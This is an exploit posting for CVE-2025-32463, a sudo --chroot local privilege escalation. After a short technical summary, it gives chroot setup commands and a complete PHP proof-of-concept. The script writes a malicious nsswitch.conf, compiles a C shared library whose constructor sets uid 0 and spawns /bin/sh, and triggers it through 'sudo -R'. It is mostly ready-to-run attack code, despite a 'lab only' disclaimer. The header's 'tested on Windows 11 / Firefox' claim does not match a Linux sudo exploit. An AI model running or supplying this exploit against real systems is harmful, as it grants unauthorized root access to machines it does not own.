📄 sudo 1.9.17 Local Privilege Escalation

=============================================================================================================================================
    | # Title     : sudo 1.9.17 local Privilege Escalation via Sudo Chroot NSS Module Loading                                                   |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.sudo.ws/                                                                                                        |
    =============================================================================================================================================
    
    POC : 
    
    [+] References : https://packetstorm.news/files/id/212006/ & 	CVE-2025-32463
    
    
    [+] Summary :
    
    CVE-2025-32463 is a local privilege escalation vulnerability in Sudo that allows attackers to execute arbitrary code as root 
    by exploiting the NSS (Name Service Switch) module loading mechanism within a chroot environment. 
    The vulnerability occurs when sudo's --chroot option loads malicious NSS modules from the chroot environment.
    
    The vulnerability exists in sudo's handling of NSS modules when using the --chroot option. When sudo executes a command within a chroot environment, it may load NSS modules from the chroot's library directories rather than the host system. An attacker with local access can create a malicious chroot environment with a crafted NSS module that executes arbitrary code when loaded.
    
    [+] Technical Analysis :
    
    **Vulnerability Mechanism:**
    
    1. Attacker creates a chroot environment with malicious NSS configuration
    2. The nsswitch.conf inside chroot points to a malicious NSS module
    3. When sudo --chroot is executed, it loads the malicious module
    4. The module's constructor function executes with root privileges
    
    **Key Vulnerable Components:**
    
    - Sudo's chroot implementation
    - NSS module loading mechanism
    - Dynamic linker behavior in chroot
    
    [+] Attack Flow :
    
    1. **Create Malicious Chroot Structure**
    
    mkdir -p chtoot/{lib,etc}
    
    
    2. **Write Malicious nsswitch.conf**
    
    echo "passwd: Xfiles" > chtoot/etc/nsswitch.conf
    echo "group: files" >> chtoot/etc/nsswitch.conf
    echo "shadow: files" >> chtoot/etc/nsswitch.conf
    
    
    [+] Usage: php poc.php
    
    [+] POC :
    
    <?php
    /**
     * PoC for CVE-2025-32463: Local privilege escalation via sudo --chroot
     * PHP version of the Python exploit
     * 
     * Use in lab environments only. Do not run on production systems.
     */
    
    class SudoChrootExploit {
        private $chroot = "./chtoot";
        private $libDir;
        private $etcDir;
        private $payloadC = "payload.c";
        private $libName = "libnss_Xfiles.so.2";
        private $payloadSo;
        private $nsswitch;
        private $verbose = false;
        
        public function __construct($verbose = false) {
            $this->verbose = $verbose;
            $this->libDir = $this->chroot . "/lib";
            $this->etcDir = $this->chroot . "/etc";
            $this->payloadSo = $this->libDir . "/" . $this->libName;
            $this->nsswitch = $this->etcDir . "/nsswitch.conf";
        }
        
        private function log($msg) {
            if ($this->verbose) {
                echo "[*] " . $msg . PHP_EOL;
            }
        }
        
        private function setupChroot() {
            echo "[+] Setting up chroot directories..." . PHP_EOL;
            
            if (!is_dir($this->libDir)) {
                mkdir($this->libDir, 0755, true);
                $this->log("Created directory: " . $this->libDir);
            }
            
            if (!is_dir($this->etcDir)) {
                mkdir($this->etcDir, 0755, true);
                $this->log("Created directory: " . $this->etcDir);
            }
            
            $this->log("Chroot structure created successfully");
        }
        
        private function writeNsswitch() {
            echo "[+] Writing fake nsswitch.conf..." . PHP_EOL;
            
            $nsswitchContent = "passwd: Xfiles\n" .
                              "group:  files\n" .
                              "shadow: files\n";
            
            if (file_put_contents($this->nsswitch, $nsswitchContent) === false) {
                throw new Exception("Failed to write nsswitch.conf");
            }
            
            $this->log("Written malicious nsswitch.conf to " . $this->nsswitch);
        }
        
        private function writePayload() {
            echo "[+] Writing payload source..." . PHP_EOL;
            
            $payloadCode = '
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <nss.h>
    #include <pwd.h>
    
    __attribute__((constructor)) void init() {
        unsetenv("LD_PRELOAD");
        setuid(0);
        setgid(0);
        system("/bin/sh");
    }
    
    enum nss_status _nss_Xfiles_getpwnam_r(const char *name, struct passwd *pwd,
                                           char *buf, size_t buflen, int *errnop) {
        return NSS_STATUS_NOTFOUND;
    }
    ';
            
            if (file_put_contents($this->payloadC, $payloadCode) === false) {
                throw new Exception("Failed to write payload source");
            }
            
            $this->log("Written C payload to " . $this->payloadC);
        }
        
        private function compilePayload() {
            echo "[+] Compiling malicious libnss module..." . PHP_EOL;
            
            $compileCmd = "gcc -fPIC -shared -o " . 
                          escapeshellarg($this->payloadSo) . " " .
                          escapeshellarg($this->payloadC) . " -nostartfiles";
            
            $this->log("Compilation command: " . $compileCmd);
            
            $output = [];
            $returnCode = 0;
            exec($compileCmd . " 2>&1", $output, $returnCode);
            
            if ($returnCode !== 0) {
                throw new Exception("Compilation failed: " . implode("\n", $output));
            }
            
            if (!file_exists($this->payloadSo)) {
                throw new Exception("Compiled library not found: " . $this->payloadSo);
            }
            
            $this->log("Successfully compiled shared object to " . $this->payloadSo);
        }
        
        private function cleanup() {
            echo "[+] Cleaning up payload source..." . PHP_EOL;
            
            if (file_exists($this->payloadC)) {
                if (unlink($this->payloadC)) {
                    $this->log("Removed " . $this->payloadC);
                } else {
                    echo "[!] Warning: Failed to remove " . $this->payloadC . PHP_EOL;
                }
            }
        }
        
        private function runExploit() {
            echo "[+] Launching sudo with chroot to trigger exploit..." . PHP_EOL;
            
            $sudoCmd = "sudo -R " . escapeshellarg($this->chroot) . " id";
            $this->log("Executing: " . $sudoCmd);
            
            // Method 1: Using system()
            echo "[*] Attempting exploit via system()..." . PHP_EOL;
            system($sudoCmd, $returnCode);
            
            if ($returnCode !== 0) {
                // Method 2: Using exec with output
                echo "[*] Attempting exploit via exec()..." . PHP_EOL;
                $output = [];
                exec($sudoCmd, $output, $returnCode);
                
                if (!empty($output)) {
                    echo "[*] Command output:" . PHP_EOL;
                    foreach ($output as $line) {
                        echo "    " . $line . PHP_EOL;
                    }
                }
                
                if ($returnCode !== 0) {
                    echo "[!] Exploit may have failed. Return code: " . $returnCode . PHP_EOL;
                    echo "[!] Check if sudo allows chroot and if gcc is installed" . PHP_EOL;
                }
            }
        }
        
        private function checkDependencies() {
            echo "[+] Checking dependencies..." . PHP_EOL;
            
            $dependencies = [
                'sudo' => 'sudo --version',
                'gcc' => 'gcc --version',
            ];
            
            foreach ($dependencies as $name => $cmd) {
                $output = [];
                $returnCode = 0;
                exec($cmd . " 2>/dev/null", $output, $returnCode);
                
                if ($returnCode === 0) {
                    $this->log("✓ $name is available");
                } else {
                    throw new Exception("✗ $name is not available or not in PATH");
                }
            }
            
            $this->log("All dependencies satisfied");
        }
        
        private function showInfo() {
            echo "=== CVE-2025-32463 Exploit Information ===" . PHP_EOL;
            echo "Vulnerability: Local privilege escalation via sudo --chroot" . PHP_EOL;
            echo "Mechanism: Malicious NSS module loading in chroot environment" . PHP_EOL;
            echo "Target: sudo versions with chroot capability" . PHP_EOL;
            echo "Effect: Potential root shell execution" . PHP_EOL;
            echo "==========================================" . PHP_EOL . PHP_EOL;
        }
        
        public function run() {
            try {
                $this->showInfo();
                $this->checkDependencies();
                $this->setupChroot();
                $this->writeNsswitch();
                $this->writePayload();
                $this->compilePayload();
                $this->cleanup();
                $this->runExploit();
                
                echo PHP_EOL . "[+] Exploit sequence completed." . PHP_EOL;
                
            } catch (Exception $e) {
                echo "[!] Error: " . $e->getMessage() . PHP_EOL;
                echo "[!] Exploit failed." . PHP_EOL;
                exit(1);
            }
        }
        
        public function __destruct() {
            // Additional cleanup if needed
            if (file_exists($this->payloadC)) {
                unlink($this->payloadC);
            }
        }
    }
    
    // Command line argument parsing
    function parseArgs() {
        $options = getopt("v", ["verbose", "help"]);
        
        if (isset($options['help'])) {
            echo "Usage: php " . basename(__FILE__) . " [OPTIONS]" . PHP_EOL . PHP_EOL;
            echo "Options:" . PHP_EOL;
            echo "  -v, --verbose  Enable verbose output for debugging" . PHP_EOL;
            echo "      --help     Show this help message" . PHP_EOL . PHP_EOL;
            echo "Description:" . PHP_EOL;
            echo "  Proof-of-Concept for CVE-2025-32463: Local privilege escalation" . PHP_EOL;
            echo "  via sudo --chroot using malicious NSS modules." . PHP_EOL . PHP_EOL;
            echo "Warning:" . PHP_EOL;
            echo "  Use in lab environments only. Do not run on production systems." . PHP_EOL;
            exit(0);
        }
        
        return [
            'verbose' => isset($options['v']) || isset($options['verbose'])
        ];
    }
    
    // Main execution
    if (php_sapi_name() === 'cli') {
        $args = parseArgs();
        $exploit = new SudoChrootExploit($args['verbose']);
        $exploit->run();
    } else {
        echo "This script must be run from the command line." . PHP_EOL;
        exit(1);
    }
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================